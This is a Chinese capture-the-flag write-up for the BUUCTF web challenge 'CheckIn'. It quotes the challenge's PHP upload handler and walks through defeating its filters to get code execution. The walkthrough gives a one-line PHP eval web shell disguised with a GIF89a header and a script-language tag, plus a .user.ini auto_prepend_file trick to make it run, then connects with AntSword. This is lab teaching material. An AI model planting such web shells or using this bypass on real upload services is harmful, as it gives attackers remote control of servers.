BUUCTF-web刷题篇(19)

28.CheckIn

源码:

php 复制代码
#index.php
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

可以看出文件上传类的题目,绕过后缀的文件格式有php,php3,php4,php5,phtml,pht。

构造木马文件<?php @eval($_REQUEST'shell');?>命名为flag.php

上传木马文件,显示illegal suffix!非法后缀,将flag.php改为flag.jpg,继续上传木马文件,显示<?in vontents!存在违法内容"<?"

改变思路点,将PHP一句话转换为JS形式

重构木马文件

<script language="php">@eval($_REQUEST'shell');</script>

继续上传

显示exif_imagetype:not image!

重构

GIF89a<script language="php">@eval($_REQUEST'shell');</script>

上传成功,使用蚁剑测试连接,可以连接,但是返回数据是空的,猜测后台并没有解析PHP代码。访问题目源码,提示是.user.ini配置文件。

.user.ini配置文件与.htaccess配置文件比较类似,概述来说,htaccess文件是Apache服务器中的一个配置文件,注意这几个字"改变文件扩展名"。

.htaccess配置文件格式

<FileMatch "1.jpg>

SetHandler application/x-httpd-php

.user.ini配置文件和.htaccess配置文件都是为了解析PHP代码

可以把.user.ini理解为用户可自定义的php.ini配置文件,.user.ini的两个配置项,auto_prepend_file是在文件前插入,auto_append_file是在文件最后才插入。

创建.user.ini文件

php 复制代码
GIF89a
auto_prepend_file=flag.jpg

上传.user.ini文件

连接蚁剑:密码:shell

相关推荐
云水一下12 小时前
零基础玩转bWAPP靶场(六十七):Cross-Domain Policy File (Flash)
web安全·flash·bwapp
Mininglamp_271820 小时前
WebRetriever技术架构:视觉特征与DOM结构融合的网页元素定位方案
ai·agent·web
白猫不黑1 天前
CTF是什么?从零理解一场攻防竞赛
网络·web安全·计算机·网络安全·信息安全·ctf·红蓝对抗
guwentian1 天前
WebGPU 和 WebTransport 2026 真的能上生产了吗?
web·gpu·transport
一只鹿鹿鹿1 天前
信息系统网络安全检查表(Word)
大数据·安全·web安全·系统安全·制造
sbjdhjd1 天前
从“删除后重生”到认证绕过:PHP 常驻内存实验与 Cacti remote_agent 命令执行链路复盘
安全·web安全·网络安全·数据挖掘·php·网络攻击模型·安全架构
ccino .1 天前
Docker 容器删除卡在 Removal In Progress / Dead 解决
服务器·安全·web安全·网络安全
刺客码1 天前
Layui 表格固定列行高错位问题解决方案
前端框架·layui·jquery·web
COOLMO研究AI2 天前
Next.js App Router 中 sitemap、robots 与 canonical 的配置与排查
前端·web·js·网站优化